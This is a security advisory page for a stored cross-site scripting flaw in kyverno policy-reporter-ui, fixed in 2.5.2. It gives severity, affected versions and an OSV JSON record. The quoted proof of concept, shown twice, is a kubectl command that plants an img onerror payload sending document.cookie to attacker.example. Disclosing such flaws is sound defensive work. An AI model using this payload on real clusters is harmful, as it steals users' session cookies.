CVE-2026-44245: Github.com/kyverno/policy reporter ui Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-q98m-7w8c-w388
CVSS 6.1
CWE-79
Published
Advisory Summary

CVE-2026-44245 is a MODERATE (CVSS 6.1) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Github.com/kyverno/policy reporter ui libraries in the Go ecosystem. The issue involves kyverno policy-reporter-ui has xss via stored property values in propertycard component. Remediation is available by upgrading affected packages to version 2.5.2.

CVE-2026-44245 at a Glance

CVE Identifier CVE-2026-44245
GHSA Identifier GHSA-q98m-7w8c-w388
Severity MODERATE
CVSS v3.1 Base Score 6.1
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Github.com/kyverno/policy reporter ui
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-44245

To remediate this vulnerability, upgrade all affected Github.com/kyverno/policy reporter ui dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/kyverno/policy-reporter-ui fixed: 2.5.2
Upgrade github.com/kyverno/policy-reporter-ui to 2.5.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/kyverno/policy-reporter-ui

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-44245, inspect your project dependencies for Github.com/kyverno/policy reporter ui:

inspect dependencies for github.com/kyverno/policy-reporter-ui

Analyze the terminal output to locate any version of Github.com/kyverno/policy reporter ui in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.5.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Github.com/kyverno/policy reporter ui, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Vue 3's v-html directive is the framework-documented mechanism for injecting raw HTML, and it intentionally disables the auto-escaping that {{ }} interpolation provides. The PropertyCard.vue component uses v-html for the else branch of the URL check, meaning any non-URL string value flows directly into the DOM as HTML. The isURL() guard only filters values that parse as http: or https: URLs, so any HTML payload not starting with those schemes (e.g., `<img src=x onerror=alert(1)>` padded to exceed 75 chars) bypasses it entirely. The data originates from Kubernetes PolicyReport .results[].properties fields, which are arbitrary string maps populated by policy engines and potentially by any principal with write access to PolicyReport objects in the cluster. No DOMPurify or equivalent HTML sanitization library is present anywhere in the frontend codebase, confirming there is no compensating control between the API response and the sink. This vulnerability was reproduced on the latest policy reporter UI version – 2.5.1. ### PoC Prerequisites: Kubernetes write access to PolicyReport resources in the target cluster (e.g., via a policy engine service account or direct kubectl access) Create a Kubernetes PolicyReport resource with a crafted property value longer than 75 characters. When an authenticated Policy Reporter UI user browses to the affected namespace and expands the result row containing this property, the injected script executes in their browser. ```bash kubectl apply -f - <<'EOF' apiVersion: [wgpolicyk8s.io/v1alpha2](http://wgpolicyk8s.io/v1alpha2) kind: PolicyReport metadata: name: xss-poc namespace: default results: - message: "test" policy: xss-test-policy rule: check-rule result: fail properties: # Value > 75 chars and not an http/https URL -> routed to v-html sink advisory: "<img src=x onerror=\"fetch('[https://attacker.example/c?c='+document.cookie](https://attacker.example/c?c=%27+document.cookie))\"> padding padding padding" EOF # Once a UI user opens the results table for the 'default' namespace # and expands the 'xss-test-policy' result row, the onerror handler fires # and exfiltrates their session cookies to attacker.example ``` <img width="1562" height="1061" alt="Снимок экрана — 2026-04-21 в 10 52 17" src="https://github.com/user-attachments/assets/fe542ccb-1662-44cb-802f-7998aa145db7" /> <img width="1041" height="939" alt="Снимок экрана — 2026-04-21 в 10 51 44" src="https://github.com/user-attachments/assets/bc07cf20-aea5-4a90-838f-c428d88a92b7" /> ### Impact XSS

CVE-2026-44245 Affected Github.com/kyverno/policy reporter ui Versions

1 component(s)
Fixed Versions:
2.5.2
Product / Package Ecosystem Affected Versions Fixed Version
github.com/kyverno/policy-reporter-ui
Go
< 2.5.2
2.5.2

References

Frequently Asked Questions

What is CVE-2026-44245?
CVE-2026-44245 is a security vulnerability in Github.com/kyverno/policy reporter ui involving Kyverno policy-reporter-ui has XSS via Stored Property Values in PropertyCard Component under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Github.com/kyverno/policy reporter ui versions are affected?
Affected versions include releases prior to 2.5.2 across affected packages: github.com/kyverno/policy-reporter-ui.
What version fixes CVE-2026-44245?
Upgrading to 2.5.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/kyverno/policy-reporter-ui affected?
Yes, github.com/kyverno/policy-reporter-ui is affected in releases prior to 2.5.2. Upgrade your dependency to 2.5.2 or later.
What is the CVSS score of CVE-2026-44245?
CVE-2026-44245 has a CVSS v3.1 base score of 6.1 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-44245?
CVE-2026-44245 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Go dependencies for CVE-2026-44245?
Run the dependency tree command: 'inspect dependencies for github.com/kyverno/policy-reporter-ui'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-q98m-7w8c-w388",
  "modified" : "2026-05-13T16:43:41Z",
  "published" : "2026-05-06T22:11:14Z",
  "aliases" : [ "CVE-2026-44245" ],
  "summary" : "Kyverno policy-reporter-ui has XSS via Stored Property Values in PropertyCard Component",
  "details" : "### Summary\nVue 3's v-html directive is the framework-documented mechanism for injecting raw HTML, and it intentionally disables the auto-escaping that {{ }} interpolation provides. The PropertyCard.vue component uses v-html for the else branch of the URL check, meaning any non-URL string value flows directly into the DOM as HTML. The isURL() guard only filters values that parse as http: or https: URLs, so any HTML payload not starting with those schemes (e.g., `<img src=x onerror=alert(1)>` padded to exceed 75 chars) bypasses it entirely. The data originates from Kubernetes PolicyReport .results[].properties fields, which are arbitrary string maps populated by policy engines and potentially by any principal with write access to PolicyReport objects in the cluster. No DOMPurify or equivalent HTML sanitization library is present anywhere in the frontend codebase, confirming there is no compensating control between the API response and the sink.\n\nThis vulnerability was reproduced on the latest policy reporter UI version – 2.5.1.\n\n\n### PoC\n\nPrerequisites: Kubernetes write access to PolicyReport resources in the target cluster (e.g., via a policy engine service account or direct kubectl access)\n\nCreate a Kubernetes PolicyReport resource with a crafted property value longer than 75 characters. When an authenticated Policy Reporter UI user browses to the affected namespace and expands the result row containing this property, the injected script executes in their browser.\n```bash\nkubectl apply -f - <<'EOF'\napiVersion: [wgpolicyk8s.io/v1alpha2](http://wgpolicyk8s.io/v1alpha2)\nkind: PolicyReport\nmetadata:\n  name: xss-poc\n  namespace: default\nresults:\n- message: \"test\"\n  policy: xss-test-policy\n  rule: check-rule\n  result: fail\n  properties:\n    # Value > 75 chars and not an http/https URL -> routed to v-html sink\n    advisory: \"<img src=x onerror=\\\"fetch('[https://attacker.example/c?c='+document.cookie](https://attacker.example/c?c=%27+document.cookie))\\\"> padding padding padding\"\nEOF\n# Once a UI user opens the results table for the 'default' namespace\n# and expands the 'xss-test-policy' result row, the onerror handler fires\n# and exfiltrates their session cookies to attacker.example\n```\n<img width=\"1562\" height=\"1061\" alt=\"Снимок экрана — 2026-04-21 в 10 52 17\" src=\"https://github.com/user-attachments/assets/fe542ccb-1662-44cb-802f-7998aa145db7\" />\n<img width=\"1041\" height=\"939\" alt=\"Снимок экрана — 2026-04-21 в 10 51 44\" src=\"https://github.com/user-attachments/assets/bc07cf20-aea5-4a90-838f-c428d88a92b7\" />\n\n### Impact\nXSS",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/kyverno/policy-reporter-ui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.5.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.5.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/kyverno/kyverno/security/advisories/GHSA-q98m-7w8c-w388"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44245"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/kyverno/kyverno"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-06T22:11:14Z",
    "nvd_published_at" : "2026-05-12T23:16:18Z"
  }
}